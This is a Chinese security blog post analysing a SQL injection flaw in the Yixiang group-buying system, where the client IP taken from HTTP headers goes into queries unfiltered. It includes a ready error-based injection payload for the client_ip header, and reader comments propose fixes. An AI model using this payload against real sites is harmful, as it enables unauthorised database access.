您的位置 » 首页 » 代码审计,实用工具 » 代码审计:最新易想团购系统通杀SQL注入漏洞分析附利用exp

代码审计:最新易想团购系统通杀SQL注入漏洞分析附利用exp

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年04月09日 | 文章热度:10,971 次 全屏阅读

显示不全请点击全屏阅读

 

作者:Seay

博客:http://www.cnseay.com/

转载请保留以上信息。

 

刚打开红黑看到J8基友写的一个{易想团购系统 最新版 通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序。

 

找到get_client_ip()函数。

 

// 获取客户端IP地址
function get_client_ip(){
   if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
       $ip = getenv("HTTP_CLIENT_IP");
   else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
       $ip = getenv("HTTP_X_FORWARDED_FOR");
   else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
       $ip = getenv("REMOTE_ADDR");
   else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
       $ip = $_SERVER['REMOTE_ADDR'];
   else
       $ip = "unknown";
   return($ip);
}

果然没过滤,看了下很多地方用到这个函数。

 

比如

 

if($_REQUEST['act'] == 'verify')
{
	$id = intval($_REQUEST['id']);
	$user_info  = $GLOBALS['db']->getRow("select * from ".DB_PREFIX."user where id = ".$id);
	if(!$user_info)
	{
		showErr($GLOBALS['lang']['NO_THIS_USER']);
	}
	$verify = $_REQUEST['code'];
	if($user_info['verify'] == $verify)
	{
		//成功
		$_SESSION['user_info'] = $user_info;
		$GLOBALS['db']->query("update ".DB_PREFIX."user set login_ip = '".get_client_ip()."',login_time= ".get_gmtime().",verify = '',is_effect = 1 where id =".$user_info['id']);
		$GLOBALS['db']->query("update ".DB_PREFIX."mail_list set is_effect = 1 where mail_address ='".$user_info['email']."'");	
		$GLOBALS['db']->query("update ".DB_PREFIX."mobile_list set is_effect = 1 where mobile ='".$user_info['mobile']."'");								
		showSuccess($GLOBALS['lang']['VERIFY_SUCCESS'],0,APP_ROOT."/");
	}

 

团购系统嘛,其实不用看代码,登陆的这些地方必定会用这个函数。

果断的,登陆的时候在http头里面加了个client_ip,值为127′

看图:

 

报错注入,很简单吧,

exp:

火狐插件增加client_ip

值为

‘ and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b)#

 

 

这套程序用的thinkphp的框架,待会看看有没有代码执行。。。。

 

 

Tags:

易想团购漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2586/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有5个筒子的人留下了脚印...

  • j8 说:
    1楼
    2013 年 4 月 9 日 下午 9:58 回复

    😡 😡 😡 😡 😡

  • crazyrun 说:
    2楼
    2013 年 4 月 10 日 上午 10:57 回复

    用ip2long做最后存储或返回前的校验

    • 【管理员】seay 说:
      2013 年 4 月 10 日 上午 11:15 回复

      稍微判断下格式就OK

  • 0x007er 说:
    3楼
    2013 年 4 月 11 日 下午 9:31 回复

    火狐上咋没看到这个插件呢

    • 0x007er 说:
      2013 年 4 月 11 日 下午 10:02 回复

      =,= 哦 就是X-Forwarded-For啊 ➡

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)